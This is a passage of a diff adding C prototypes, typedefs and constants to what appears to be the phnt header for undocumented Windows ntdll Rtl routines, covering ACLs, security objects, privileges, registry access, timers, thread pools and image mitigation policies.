private +NTSYSAPI +NTSTATUS +NTAPI +RtlSelfRelativeToAbsoluteSD2( + _Inout_ PSECURITY_DESCRIPTOR pSelfRelativeSecurityDescriptor, + _Inout_ PULONG pBufferSize + ); + +// Access masks + +NTSYSAPI +BOOLEAN +NTAPI +RtlAreAllAccessesGranted( + _In_ ACCESS_MASK GrantedAccess, + _In_ ACCESS_MASK DesiredAccess + ); + +NTSYSAPI +BOOLEAN +NTAPI +RtlAreAnyAccessesGranted( + _In_ ACCESS_MASK GrantedAccess, + _In_ ACCESS_MASK DesiredAccess + ); + +NTSYSAPI +VOID +NTAPI +RtlMapGenericMask( + _Inout_ PACCESS_MASK AccessMask, + _In_ PGENERIC_MAPPING GenericMapping + ); + +// ACLs + +NTSYSAPI +NTSTATUS +NTAPI +RtlCreateAcl( + _Out_writes_bytes_(AclLength) PACL Acl, + _In_ ULONG AclLength, + _In_ ULONG AclRevision + ); + +NTSYSAPI +BOOLEAN +NTAPI +RtlValidAcl( + _In_ PACL Acl + ); + +NTSYSAPI +NTSTATUS +NTAPI +RtlQueryInformationAcl( + _In_ PACL Acl, + _Out_writes_bytes_(AclInformationLength) PVOID AclInformation, + _In_ ULONG AclInformationLength, + _In_ ACL_INFORMATION_CLASS AclInformationClass + ); + +NTSYSAPI +NTSTATUS +NTAPI +RtlSetInformationAcl( + _Inout_ PACL Acl, + _In_reads_bytes_(AclInformationLength) PVOID AclInformation, + _In_ ULONG AclInformationLength, + _In_ ACL_INFORMATION_CLASS AclInformationClass + ); + +NTSYSAPI +NTSTATUS +NTAPI +RtlAddAce( + _Inout_ PACL Acl, + _In_ ULONG AceRevision, + _In_ ULONG StartingAceIndex, + _In_reads_bytes_(AceListLength) PVOID AceList, + _In_ ULONG AceListLength + ); + +NTSYSAPI +NTSTATUS +NTAPI +RtlDeleteAce( + _Inout_ PACL Acl, + _In_ ULONG AceIndex + ); + +NTSYSAPI +NTSTATUS +NTAPI +RtlGetAce( + _In_ PACL Acl, + _In_ ULONG AceIndex, + _Outptr_ PVOID *Ace + ); + +NTSYSAPI +BOOLEAN +NTAPI +RtlFirstFreeAce( + _In_ PACL Acl, + _Out_ PVOID *FirstFree + ); + +#if (PHNT_VERSION >= PHNT_VISTA) +// private +NTSYSAPI +PVOID +NTAPI +RtlFindAceByType( + _In_ PACL pAcl, + _In_ UCHAR AceType, + _Out_opt_ PULONG pIndex + ); +#endif + +#if (PHNT_VERSION >= PHNT_VISTA) +// private +NTSYSAPI +BOOLEAN +NTAPI +RtlOwnerAcesPresent( + _In_ PACL pAcl + ); +#endif + +NTSYSAPI +NTSTATUS +NTAPI +RtlAddAccessAllowedAce( + _Inout_ PACL Acl, + _In_ ULONG AceRevision, + _In_ ACCESS_MASK AccessMask, + _In_ PSID Sid + ); + +NTSYSAPI +NTSTATUS +NTAPI +RtlAddAccessAllowedAceEx( + _Inout_ PACL Acl, + _In_ ULONG AceRevision, + _In_ ULONG AceFlags, + _In_ ACCESS_MASK AccessMask, + _In_ PSID Sid + ); + +NTSYSAPI +NTSTATUS +NTAPI +RtlAddAccessDeniedAce( + _Inout_ PACL Acl, + _In_ ULONG AceRevision, + _In_ ACCESS_MASK AccessMask, + _In_ PSID Sid + ); + +NTSYSAPI +NTSTATUS +NTAPI +RtlAddAccessDeniedAceEx( + _Inout_ PACL Acl, + _In_ ULONG AceRevision, + _In_ ULONG AceFlags, + _In_ ACCESS_MASK AccessMask, + _In_ PSID Sid + ); + +NTSYSAPI +NTSTATUS +NTAPI +RtlAddAuditAccessAce( + _Inout_ PACL Acl, + _In_ ULONG AceRevision, + _In_ ACCESS_MASK AccessMask, + _In_ PSID Sid, + _In_ BOOLEAN AuditSuccess, + _In_ BOOLEAN AuditFailure + ); + +NTSYSAPI +NTSTATUS +NTAPI +RtlAddAuditAccessAceEx( + _Inout_ PACL Acl, + _In_ ULONG AceRevision, + _In_ ULONG AceFlags, + _In_ ACCESS_MASK AccessMask, + _In_ PSID Sid, + _In_ BOOLEAN AuditSuccess, + _In_ BOOLEAN AuditFailure + ); + +NTSYSAPI +NTSTATUS +NTAPI +RtlAddAccessAllowedObjectAce( + _Inout_ PACL Acl, + _In_ ULONG AceRevision, + _In_ ULONG AceFlags, + _In_ ACCESS_MASK AccessMask, + _In_opt_ PGUID ObjectTypeGuid, + _In_opt_ PGUID InheritedObjectTypeGuid, + _In_ PSID Sid + ); + +NTSYSAPI +NTSTATUS +NTAPI +RtlAddAccessDeniedObjectAce( + _Inout_ PACL Acl, + _In_ ULONG AceRevision, + _In_ ULONG AceFlags, + _In_ ACCESS_MASK AccessMask, + _In_opt_ PGUID ObjectTypeGuid, + _In_opt_ PGUID InheritedObjectTypeGuid, + _In_ PSID Sid + ); + +NTSYSAPI +NTSTATUS +NTAPI +RtlAddAuditAccessObjectAce( + _Inout_ PACL Acl, + _In_ ULONG AceRevision, + _In_ ULONG AceFlags, + _In_ ACCESS_MASK AccessMask, + _In_opt_ PGUID ObjectTypeGuid, + _In_opt_ PGUID InheritedObjectTypeGuid, + _In_ PSID Sid, + _In_ BOOLEAN AuditSuccess, + _In_ BOOLEAN AuditFailure + ); + +NTSYSAPI +NTSTATUS +NTAPI +RtlAddCompoundAce( + _Inout_ PACL Acl, + _In_ ULONG AceRevision, + _In_ UCHAR AceType, + _In_ ACCESS_MASK AccessMask, + _In_ PSID ServerSid, + _In_ PSID ClientSid + ); + +#if (PHNT_VERSION >= PHNT_VISTA) +// private +NTSYSAPI +NTSTATUS +NTAPI +RtlAddMandatoryAce( + _Inout_ PACL Acl, + _In_ ULONG AceRevision, + _In_ ULONG AceFlags, + _In_ PSID Sid, + _In_ UCHAR AceType, + _In_ ACCESS_MASK AccessMask + ); +#endif + +// Named pipes + +NTSYSAPI +NTSTATUS +NTAPI +RtlDefaultNpAcl( + _Out_ PACL *Acl + ); + +// Security objects + +NTSYSAPI +NTSTATUS +NTAPI +RtlNewSecurityObject( + _In_opt_ PSECURITY_DESCRIPTOR ParentDescriptor, + _In_opt_ PSECURITY_DESCRIPTOR CreatorDescriptor, + _Out_ PSECURITY_DESCRIPTOR *NewDescriptor, + _In_ BOOLEAN IsDirectoryObject, + _In_opt_ HANDLE Token, + _In_ PGENERIC_MAPPING GenericMapping + ); + +NTSYSAPI +NTSTATUS +NTAPI +RtlNewSecurityObjectEx( + _In_opt_ PSECURITY_DESCRIPTOR ParentDescriptor, + _In_opt_ PSECURITY_DESCRIPTOR CreatorDescriptor, + _Out_ PSECURITY_DESCRIPTOR *NewDescriptor, + _In_opt_ GUID *ObjectType, + _In_ BOOLEAN IsDirectoryObject, + _In_ ULONG AutoInheritFlags, // SEF_* + _In_opt_ HANDLE Token, + _In_ PGENERIC_MAPPING GenericMapping + ); + +NTSYSAPI +NTSTATUS +NTAPI +RtlNewSecurityObjectWithMultipleInheritance( + _In_opt_ PSECURITY_DESCRIPTOR ParentDescriptor, + _In_opt_ PSECURITY_DESCRIPTOR CreatorDescriptor, + _Out_ PSECURITY_DESCRIPTOR *NewDescriptor, + _In_opt_ GUID **ObjectType, + _In_ ULONG GuidCount, + _In_ BOOLEAN IsDirectoryObject, + _In_ ULONG AutoInheritFlags, // SEF_* + _In_opt_ HANDLE Token, + _In_ PGENERIC_MAPPING GenericMapping + ); + +NTSYSAPI +NTSTATUS +NTAPI +RtlDeleteSecurityObject( + _Inout_ PSECURITY_DESCRIPTOR *ObjectDescriptor + ); + +NTSYSAPI +NTSTATUS +NTAPI +RtlQuerySecurityObject( + _In_ PSECURITY_DESCRIPTOR ObjectDescriptor, + _In_ SECURITY_INFORMATION SecurityInformation, + _Out_opt_ PSECURITY_DESCRIPTOR ResultantDescriptor, + _In_ ULONG DescriptorLength, + _Out_ PULONG ReturnLength + ); + +NTSYSAPI +NTSTATUS +NTAPI +RtlSetSecurityObject( + _In_ SECURITY_INFORMATION SecurityInformation, + _In_ PSECURITY_DESCRIPTOR ModificationDescriptor, + _Inout_ PSECURITY_DESCRIPTOR *ObjectsSecurityDescriptor, + _In_ PGENERIC_MAPPING GenericMapping, + _In_opt_ HANDLE Token + ); + +NTSYSAPI +NTSTATUS +NTAPI +RtlSetSecurityObjectEx( + _In_ SECURITY_INFORMATION SecurityInformation, + _In_ PSECURITY_DESCRIPTOR ModificationDescriptor, + _Inout_ PSECURITY_DESCRIPTOR *ObjectsSecurityDescriptor, + _In_ ULONG AutoInheritFlags, // SEF_* + _In_ PGENERIC_MAPPING GenericMapping, + _In_opt_ HANDLE Token + ); + +NTSYSAPI +NTSTATUS +NTAPI +RtlConvertToAutoInheritSecurityObject( + _In_opt_ PSECURITY_DESCRIPTOR ParentDescriptor, + _In_ PSECURITY_DESCRIPTOR CurrentSecurityDescriptor, + _Out_ PSECURITY_DESCRIPTOR *NewSecurityDescriptor, + _In_opt_ GUID *ObjectType, + _In_ BOOLEAN IsDirectoryObject, + _In_ PGENERIC_MAPPING GenericMapping + ); + +NTSYSAPI +NTSTATUS +NTAPI +RtlNewInstanceSecurityObject( + _In_ BOOLEAN ParentDescriptorChanged, + _In_ BOOLEAN CreatorDescriptorChanged, + _In_ PLUID OldClientTokenModifiedId, + _Out_ PLUID NewClientTokenModifiedId, + _In_opt_ PSECURITY_DESCRIPTOR ParentDescriptor, + _In_opt_ PSECURITY_DESCRIPTOR CreatorDescriptor, + _Out_ PSECURITY_DESCRIPTOR *NewDescriptor, + _In_ BOOLEAN IsDirectoryObject, + _In_ HANDLE Token, + _In_ PGENERIC_MAPPING GenericMapping + ); + +NTSYSAPI +NTSTATUS +NTAPI +RtlCopySecurityDescriptor( + _In_ PSECURITY_DESCRIPTOR InputSecurityDescriptor, + _Out_ PSECURITY_DESCRIPTOR *OutputSecurityDescriptor + ); + +// Misc. security + +NTSYSAPI +VOID +NTAPI +RtlRunEncodeUnicodeString( + _Inout_ PUCHAR Seed, + _In_ PUNICODE_STRING String + ); + +NTSYSAPI +VOID +NTAPI +RtlRunDecodeUnicodeString( + _In_ UCHAR Seed, + _In_ PUNICODE_STRING String + ); + +NTSYSAPI +NTSTATUS +NTAPI +RtlImpersonateSelf( + _In_ SECURITY_IMPERSONATION_LEVEL ImpersonationLevel + ); + +#if (PHNT_VERSION >= PHNT_VISTA) +// private +NTSYSAPI +NTSTATUS +NTAPI +RtlImpersonateSelfEx( + _In_ SECURITY_IMPERSONATION_LEVEL ImpersonationLevel, + _In_opt_ ACCESS_MASK AdditionalAccess, + _Out_opt_ PHANDLE ThreadToken + ); +#endif + +NTSYSAPI +NTSTATUS +NTAPI +RtlAdjustPrivilege( + _In_ ULONG Privilege, + _In_ BOOLEAN Enable, + _In_ BOOLEAN Client, + _Out_ PBOOLEAN WasEnabled + ); + +#define RTL_ACQUIRE_PRIVILEGE_REVERT 0x00000001 +#define RTL_ACQUIRE_PRIVILEGE_PROCESS 0x00000002 + +NTSYSAPI +NTSTATUS +NTAPI +RtlAcquirePrivilege( + _In_ PULONG Privilege, + _In_ ULONG NumPriv, + _In_ ULONG Flags, + _Out_ PVOID *ReturnedState + ); + +NTSYSAPI +VOID +NTAPI +RtlReleasePrivilege( + _In_ PVOID StatePointer + ); + +#if (PHNT_VERSION >= PHNT_VISTA) +// private +NTSYSAPI +NTSTATUS +NTAPI +RtlRemovePrivileges( + _In_ HANDLE TokenHandle, + _In_ PULONG PrivilegesToKeep, + _In_ ULONG PrivilegeCount + ); +#endif + +#if (PHNT_VERSION >= PHNT_WIN8) + +// rev +NTSYSAPI +NTSTATUS +NTAPI +RtlIsUntrustedObject( + _In_opt_ HANDLE Handle, + _In_opt_ PVOID Object, + _Out_ PBOOLEAN IsUntrustedObject + ); + +NTSYSAPI +ULONG +NTAPI +RtlQueryValidationRunlevel( + _In_opt_ PUNICODE_STRING ComponentName + ); + +#endif + +// Private namespaces + +#if (PHNT_VERSION >= PHNT_VISTA) + +// begin_private + +NTSYSAPI +PVOID +NTAPI +RtlCreateBoundaryDescriptor( + _In_ PUNICODE_STRING Name, + _In_ ULONG Flags + ); + +NTSYSAPI +VOID +NTAPI +RtlDeleteBoundaryDescriptor( + _In_ PVOID BoundaryDescriptor + ); + +NTSYSAPI +NTSTATUS +NTAPI +RtlAddSIDToBoundaryDescriptor( + _Inout_ PVOID *BoundaryDescriptor, + _In_ PSID RequiredSid + ); + +#if (PHNT_VERSION >= PHNT_WIN7) +// rev +NTSYSAPI +NTSTATUS +NTAPI +RtlAddIntegrityLabelToBoundaryDescriptor( + _Inout_ PVOID *BoundaryDescriptor, + _In_ PSID IntegrityLabel + ); +#endif + +// end_private + +#endif + +// Version + +NTSYSAPI +NTSTATUS +NTAPI +RtlGetVersion( + _Out_ PRTL_OSVERSIONINFOEXW VersionInformation // PRTL_OSVERSIONINFOW + ); + +NTSYSAPI +NTSTATUS +NTAPI +RtlVerifyVersionInfo( + _In_ PRTL_OSVERSIONINFOEXW VersionInformation, // PRTL_OSVERSIONINFOW + _In_ ULONG TypeMask, + _In_ ULONGLONG ConditionMask + ); + +// rev +NTSYSAPI +VOID +NTAPI +RtlGetNtVersionNumbers( + _Out_opt_ PULONG NtMajorVersion, + _Out_opt_ PULONG NtMinorVersion, + _Out_opt_ PULONG NtBuildNumber + ); + +// System information + +// rev +NTSYSAPI +ULONG +NTAPI +RtlGetNtGlobalFlags( + VOID + ); + +#if (PHNT_VERSION >= PHNT_REDSTONE) +// rev +NTSYSAPI +BOOLEAN +NTAPI +RtlGetNtProductType( + _Out_ PNT_PRODUCT_TYPE NtProductType + ); +#endif + +#if (PHNT_VERSION >= PHNT_REDSTONE2) +// private +NTSYSAPI +ULONG +NTAPI +RtlGetSuiteMask( + VOID + ); +#endif + +// Thread pool (old) + +NTSYSAPI +NTSTATUS +NTAPI +RtlRegisterWait( + _Out_ PHANDLE WaitHandle, + _In_ HANDLE Handle, + _In_ WAITORTIMERCALLBACKFUNC Function, + _In_ PVOID Context, + _In_ ULONG Milliseconds, + _In_ ULONG Flags + ); + +NTSYSAPI +NTSTATUS +NTAPI +RtlDeregisterWait( + _In_ HANDLE WaitHandle + ); + +NTSYSAPI +NTSTATUS +NTAPI +RtlDeregisterWaitEx( + _In_ HANDLE WaitHandle, + _In_ HANDLE Event + ); + +NTSYSAPI +NTSTATUS +NTAPI +RtlQueueWorkItem( + _In_ WORKERCALLBACKFUNC Function, + _In_ PVOID Context, + _In_ ULONG Flags + ); + +NTSYSAPI +NTSTATUS +NTAPI +RtlSetIoCompletionCallback( + _In_ HANDLE FileHandle, + _In_ APC_CALLBACK_FUNCTION CompletionProc, + _In_ ULONG Flags + ); + +typedef NTSTATUS (NTAPI *PRTL_START_POOL_THREAD)( + _In_ PTHREAD_START_ROUTINE Function, + _In_ PVOID Parameter, + _Out_ PHANDLE ThreadHandle + ); + +typedef NTSTATUS (NTAPI *PRTL_EXIT_POOL_THREAD)( + _In_ NTSTATUS ExitStatus + ); + +NTSYSAPI +NTSTATUS +NTAPI +RtlSetThreadPoolStartFunc( + _In_ PRTL_START_POOL_THREAD StartPoolThread, + _In_ PRTL_EXIT_POOL_THREAD ExitPoolThread + ); + +NTSYSAPI +VOID +NTAPI +RtlUserThreadStart( + _In_ PTHREAD_START_ROUTINE Function, + _In_ PVOID Parameter + ); + +NTSYSAPI +VOID +NTAPI +LdrInitializeThunk( + _In_ PCONTEXT ContextRecord, + _In_ PVOID Parameter + ); + +// Timer support + +NTSYSAPI +NTSTATUS +NTAPI +RtlCreateTimerQueue( + _Out_ PHANDLE TimerQueueHandle + ); + +NTSYSAPI +NTSTATUS +NTAPI +RtlCreateTimer( + _In_ HANDLE TimerQueueHandle, + _Out_ PHANDLE Handle, + _In_ WAITORTIMERCALLBACKFUNC Function, + _In_opt_ PVOID Context, + _In_ ULONG DueTime, + _In_ ULONG Period, + _In_ ULONG Flags + ); + +NTSYSAPI +NTSTATUS +NTAPI +RtlUpdateTimer( + _In_ HANDLE TimerQueueHandle, + _In_ HANDLE TimerHandle, + _In_ ULONG DueTime, + _In_ ULONG Period + ); + +NTSYSAPI +NTSTATUS +NTAPI +RtlDeleteTimer( + _In_ HANDLE TimerQueueHandle, + _In_ HANDLE TimerToCancel, + _In_opt_ HANDLE Event + ); + +NTSYSAPI +NTSTATUS +NTAPI +RtlDeleteTimerQueue( + _In_ HANDLE TimerQueueHandle + ); + +NTSYSAPI +NTSTATUS +NTAPI +RtlDeleteTimerQueueEx( + _In_ HANDLE TimerQueueHandle, + _In_ HANDLE Event + ); + +// Registry access + +NTSYSAPI +NTSTATUS +NTAPI +RtlFormatCurrentUserKeyPath( + _Out_ PUNICODE_STRING CurrentUserKeyPath + ); + +NTSYSAPI +NTSTATUS +NTAPI +RtlOpenCurrentUser( + _In_ ACCESS_MASK DesiredAccess, + _Out_ PHANDLE CurrentUserKey + ); + +#define RTL_REGISTRY_ABSOLUTE 0 +#define RTL_REGISTRY_SERVICES 1 // \Registry\Machine\System\CurrentControlSet\Services +#define RTL_REGISTRY_CONTROL 2 // \Registry\Machine\System\CurrentControlSet\Control +#define RTL_REGISTRY_WINDOWS_NT 3 // \Registry\Machine\Software\Microsoft\Windows NT\CurrentVersion +#define RTL_REGISTRY_DEVICEMAP 4 // \Registry\Machine\Hardware\DeviceMap +#define RTL_REGISTRY_USER 5 // \Registry\User\CurrentUser +#define RTL_REGISTRY_MAXIMUM 6 +#define RTL_REGISTRY_HANDLE 0x40000000 +#define RTL_REGISTRY_OPTIONAL 0x80000000 + +NTSYSAPI +NTSTATUS +NTAPI +RtlCreateRegistryKey( + _In_ ULONG RelativeTo, + _In_ PWSTR Path + ); + +NTSYSAPI +NTSTATUS +NTAPI +RtlCheckRegistryKey( + _In_ ULONG RelativeTo, + _In_ PWSTR Path + ); + +typedef NTSTATUS (NTAPI *PRTL_QUERY_REGISTRY_ROUTINE)( + _In_ PWSTR ValueName, + _In_ ULONG ValueType, + _In_ PVOID ValueData, + _In_ ULONG ValueLength, + _In_ PVOID Context, + _In_ PVOID EntryContext + ); + +typedef struct _RTL_QUERY_REGISTRY_TABLE +{ + PRTL_QUERY_REGISTRY_ROUTINE QueryRoutine; + ULONG Flags; + PWSTR Name; + PVOID EntryContext; + ULONG DefaultType; + PVOID DefaultData; + ULONG DefaultLength; +} RTL_QUERY_REGISTRY_TABLE, *PRTL_QUERY_REGISTRY_TABLE; + +#define RTL_QUERY_REGISTRY_SUBKEY 0x00000001 +#define RTL_QUERY_REGISTRY_TOPKEY 0x00000002 +#define RTL_QUERY_REGISTRY_REQUIRED 0x00000004 +#define RTL_QUERY_REGISTRY_NOVALUE 0x00000008 +#define RTL_QUERY_REGISTRY_NOEXPAND 0x00000010 +#define RTL_QUERY_REGISTRY_DIRECT 0x00000020 +#define RTL_QUERY_REGISTRY_DELETE 0x00000040 + +NTSYSAPI +NTSTATUS +NTAPI +RtlQueryRegistryValues( + _In_ ULONG RelativeTo, + _In_ PCWSTR Path, + _In_ PRTL_QUERY_REGISTRY_TABLE QueryTable, + _In_ PVOID Context, + _In_opt_ PVOID Environment + ); + +// rev +NTSYSAPI +NTSTATUS +NTAPI +RtlQueryRegistryValuesEx( + _In_ ULONG RelativeTo, + _In_ PCWSTR Path, + _In_ PRTL_QUERY_REGISTRY_TABLE QueryTable, + _In_ PVOID Context, + _In_opt_ PVOID Environment + ); + +NTSYSAPI +NTSTATUS +NTAPI +RtlWriteRegistryValue( + _In_ ULONG RelativeTo, + _In_ PCWSTR Path, + _In_ PCWSTR ValueName, + _In_ ULONG ValueType, + _In_ PVOID ValueData, + _In_ ULONG ValueLength + ); + +NTSYSAPI +NTSTATUS +NTAPI +RtlDeleteRegistryValue( + _In_ ULONG RelativeTo, + _In_ PCWSTR Path, + _In_ PCWSTR ValueName + ); + +// Thread profiling + +#if (PHNT_VERSION >= PHNT_WIN7) + +// rev +NTSYSAPI +NTSTATUS +NTAPI +RtlEnableThreadProfiling( + _In_ HANDLE ThreadHandle, + _In_ ULONG Flags, + _In_ ULONG64 HardwareCounters, + _Out_ PVOID *PerformanceDataHandle + ); + +// rev +NTSYSAPI +NTSTATUS +NTAPI +RtlDisableThreadProfiling( + _In_ PVOID PerformanceDataHandle + ); + +// rev +NTSYSAPI +NTSTATUS +NTAPI +RtlQueryThreadProfiling( + _In_ HANDLE ThreadHandle, + _Out_ PBOOLEAN Enabled + ); + +// rev +NTSYSAPI +NTSTATUS +NTAPI +RtlReadThreadProfilingData( + _In_ HANDLE PerformanceDataHandle, + _In_ ULONG Flags, + _Out_ PPERFORMANCE_DATA PerformanceData + ); + +#endif + +// WOW64 + +NTSYSAPI +NTSTATUS +NTAPI +RtlGetNativeSystemInformation( + _In_ ULONG SystemInformationClass, + _In_ PVOID NativeSystemInformation, + _In_ ULONG InformationLength, + _Out_opt_ PULONG ReturnLength + ); + +NTSYSAPI +NTSTATUS +NTAPI +RtlQueueApcWow64Thread( + _In_ HANDLE ThreadHandle, + _In_ PPS_APC_ROUTINE ApcRoutine, + _In_opt_ PVOID ApcArgument1, + _In_opt_ PVOID ApcArgument2, + _In_opt_ PVOID ApcArgument3 + ); + +NTSYSAPI +NTSTATUS +NTAPI +RtlWow64EnableFsRedirection( + _In_ BOOLEAN Wow64FsEnableRedirection + ); + +NTSYSAPI +NTSTATUS +NTAPI +RtlWow64EnableFsRedirectionEx( + _In_ PVOID Wow64FsEnableRedirection, + _Out_ PVOID *OldFsRedirectionLevel + ); + +// Misc. + +NTSYSAPI +ULONG32 +NTAPI +RtlComputeCrc32( + _In_ ULONG32 PartialCrc, + _In_ PVOID Buffer, + _In_ ULONG Length + ); + +NTSYSAPI +PVOID +NTAPI +RtlEncodePointer( + _In_ PVOID Ptr + ); + +NTSYSAPI +PVOID +NTAPI +RtlDecodePointer( + _In_ PVOID Ptr + ); + +NTSYSAPI +PVOID +NTAPI +RtlEncodeSystemPointer( + _In_ PVOID Ptr + ); + +NTSYSAPI +PVOID +NTAPI +RtlDecodeSystemPointer( + _In_ PVOID Ptr + ); + +#if (PHNT_VERSION >= PHNT_THRESHOLD) +// rev +NTSYSAPI +NTSTATUS +NTAPI +RtlEncodeRemotePointer( + _In_ HANDLE ProcessHandle, + _In_ PVOID Pointer, + _Out_ PVOID *EncodedPointer + ); + +// rev +NTSYSAPI +NTSTATUS +NTAPI +RtlDecodeRemotePointer( + _In_ HANDLE ProcessHandle, + _In_ PVOID Pointer, + _Out_ PVOID *DecodedPointer + ); +#endif + +// rev +NTSYSAPI +BOOLEAN +NTAPI +RtlIsProcessorFeaturePresent( + _In_ ULONG ProcessorFeature + ); + +// rev +NTSYSAPI +ULONG +NTAPI +RtlGetCurrentProcessorNumber( + VOID + ); + +#if (PHNT_VERSION >= PHNT_THRESHOLD) + +// rev +NTSYSAPI +VOID +NTAPI +RtlGetCurrentProcessorNumberEx( + _Out_ PPROCESSOR_NUMBER ProcessorNumber + ); + +#endif + +// Stack support + +NTSYSAPI +VOID +NTAPI +RtlPushFrame( + _In_ PTEB_ACTIVE_FRAME Frame + ); + +NTSYSAPI +VOID +NTAPI +RtlPopFrame( + _In_ PTEB_ACTIVE_FRAME Frame + ); + +NTSYSAPI +PTEB_ACTIVE_FRAME +NTAPI +RtlGetFrame( + VOID + ); + +#define RTL_WALK_USER_MODE_STACK 0x00000001 +#define RTL_WALK_VALID_FLAGS 0x00000001 +#define RTL_STACK_WALKING_MODE_FRAMES_TO_SKIP_SHIFT 0x00000008 + +// private +NTSYSAPI +ULONG +NTAPI +RtlWalkFrameChain( + _Out_writes_(Count - (Flags >> RTL_STACK_WALKING_MODE_FRAMES_TO_SKIP_SHIFT)) PVOID *Callers, + _In_ ULONG Count, + _In_ ULONG Flags + ); + +// rev +NTSYSAPI +VOID +NTAPI +RtlGetCallersAddress( // Use the intrinsic _ReturnAddress instead. + _Out_ PVOID *CallersAddress, + _Out_ PVOID *CallersCaller + ); + +#if (PHNT_VERSION >= PHNT_WIN7) + +NTSYSAPI +ULONG64 +NTAPI +RtlGetEnabledExtendedFeatures( + _In_ ULONG64 FeatureMask + ); + +#endif + +#if (PHNT_VERSION >= PHNT_REDSTONE4) + +// msdn +NTSYSAPI +ULONG64 +NTAPI +RtlGetEnabledExtendedAndSupervisorFeatures( + _In_ ULONG64 FeatureMask + ); + +// msdn +_Ret_maybenull_ +_Success_(return != NULL) +NTSYSAPI +PVOID +NTAPI +RtlLocateSupervisorFeature( + _In_ PXSAVE_AREA_HEADER XStateHeader, + _In_range_(XSTATE_AVX, MAXIMUM_XSTATE_FEATURES - 1) ULONG FeatureId, + _Out_opt_ PULONG Length + ); + +#endif + +// private +typedef union _RTL_ELEVATION_FLAGS +{ + ULONG Flags; + struct + { + ULONG ElevationEnabled : 1; + ULONG VirtualizationEnabled : 1; + ULONG InstallerDetectEnabled : 1; + ULONG ReservedBits : 29; + }; +} RTL_ELEVATION_FLAGS, *PRTL_ELEVATION_FLAGS; + +#if (PHNT_VERSION >= PHNT_VISTA) + +// private +NTSYSAPI +NTSTATUS +NTAPI +RtlQueryElevationFlags( + _Out_ PRTL_ELEVATION_FLAGS Flags + ); + +#endif + +#if (PHNT_VERSION >= PHNT_VISTA) + +// private +NTSYSAPI +NTSTATUS +NTAPI +RtlRegisterThreadWithCsrss( + VOID + ); + +#endif + +#if (PHNT_VERSION >= PHNT_VISTA) + +// private +NTSYSAPI +NTSTATUS +NTAPI +RtlLockCurrentThread( + VOID + ); + +#endif + +#if (PHNT_VERSION >= PHNT_VISTA) + +// private +NTSYSAPI +NTSTATUS +NTAPI +RtlUnlockCurrentThread( + VOID + ); + +#endif + +#if (PHNT_VERSION >= PHNT_VISTA) + +// private +NTSYSAPI +NTSTATUS +NTAPI +RtlLockModuleSection( + _In_ PVOID Address + ); + +#endif + +#if (PHNT_VERSION >= PHNT_VISTA) + +// private +NTSYSAPI +NTSTATUS +NTAPI +RtlUnlockModuleSection( + _In_ PVOID Address + ); + +#endif + +// begin_msdn:"Winternl" + +#define RTL_UNLOAD_EVENT_TRACE_NUMBER 64 + +// private +typedef struct _RTL_UNLOAD_EVENT_TRACE +{ + PVOID BaseAddress; + SIZE_T SizeOfImage; + ULONG Sequence; + ULONG TimeDateStamp; + ULONG CheckSum; + WCHAR ImageName[32]; + ULONG Version[2]; +} RTL_UNLOAD_EVENT_TRACE, *PRTL_UNLOAD_EVENT_TRACE; + +typedef struct _RTL_UNLOAD_EVENT_TRACE32 +{ + ULONG BaseAddress; + ULONG SizeOfImage; + ULONG Sequence; + ULONG TimeDateStamp; + ULONG CheckSum; + WCHAR ImageName[32]; + ULONG Version[2]; +} RTL_UNLOAD_EVENT_TRACE32, *PRTL_UNLOAD_EVENT_TRACE32; + +NTSYSAPI +PRTL_UNLOAD_EVENT_TRACE +NTAPI +RtlGetUnloadEventTrace( + VOID + ); + +#if (PHNT_VERSION >= PHNT_VISTA) +NTSYSAPI +VOID +NTAPI +RtlGetUnloadEventTraceEx( + _Out_ PULONG *ElementSize, + _Out_ PULONG *ElementCount, + _Out_ PVOID *EventTrace // works across all processes + ); +#endif + +// end_msdn + +#if (PHNT_VERSION >= PHNT_WIN7) +// rev +NTSYSAPI +LOGICAL +NTAPI +RtlQueryPerformanceCounter( + _Out_ PLARGE_INTEGER PerformanceCounter + ); +#endif + +#if (PHNT_VERSION >= PHNT_WIN7) +// rev +NTSYSAPI +LOGICAL +NTAPI +RtlQueryPerformanceFrequency( + _Out_ PLARGE_INTEGER PerformanceFrequency + ); +#endif + +// Image Mitigation + +// rev +typedef enum _IMAGE_MITIGATION_POLICY +{ + ImageDepPolicy, // RTL_IMAGE_MITIGATION_DEP_POLICY + ImageAslrPolicy, // RTL_IMAGE_MITIGATION_ASLR_POLICY + ImageDynamicCodePolicy, // RTL_IMAGE_MITIGATION_DYNAMIC_CODE_POLICY + ImageStrictHandleCheckPolicy, // RTL_IMAGE_MITIGATION_STRICT_HANDLE_CHECK_POLICY + ImageSystemCallDisablePolicy, // RTL_IMAGE_MITIGATION_SYSTEM_CALL_DISABLE_POLICY + ImageMitigationOptionsMask, + ImageExtensionPointDisablePolicy, // RTL_IMAGE_MITIGATION_EXTENSION_POINT_DISABLE_POLICY + ImageControlFlowGuardPolicy, // RTL_IMAGE_MITIGATION_CONTROL_FLOW_GUARD_POLICY + ImageSignaturePolicy, // RTL_IMAGE_MITIGATION_BINARY_SIGNATURE_POLICY + ImageFontDisablePolicy, // RTL_IMAGE_MITIGATION_FONT_DISABLE_POLICY + ImageImageLoadPolicy, // RTL_IMAGE_MITIGATION_IMAGE_LOAD_POLICY + ImagePayloadRestrictionPolicy, // RTL_IMAGE_MITIGATION_PAYLOAD_RESTRICTION_POLICY + ImageChildProcessPolicy, // RTL_IMAGE_MITIGATION_CHILD_PROCESS_POLICY + ImageSehopPolicy, // RTL_IMAGE_MITIGATION_SEHOP_POLICY + ImageHeapPolicy, // RTL_IMAGE_MITIGATION_HEAP_POLICY + MaxImageMitigationPolicy +} IMAGE_MITIGATION_POLICY; + +// rev +typedef union _RTL_IMAGE_MITIGATION_POLICY +{ + struct + { + ULONG64 AuditState : 2; + ULONG64 AuditFlag : 1; + ULONG64 EnableAdditionalAuditingOption : 1; + ULONG64 Reserved : 60; + }; + struct + { + ULONG64 PolicyState : 2; + ULONG64 AlwaysInherit : 1; + ULONG64 EnableAdditionalPolicyOption : 1; + ULONG64 AuditReserved : 60; + }; +} RTL_IMAGE_MITIGATION_POLICY, *PRTL_IMAGE_MITIGATION_POLICY; + +// rev +typedef struct _RTL_IMAGE_MITIGATION_DEP_POLICY +{ + RTL_IMAGE_MITIGATION_POLICY Dep; +} RTL_IMAGE_MITIGATION_DEP_POLICY, *PRTL_IMAGE_MITIGATION_DEP_POLICY; + +// rev +typedef struct _RTL_IMAGE_MITIGATION_ASLR_POLICY +{ + 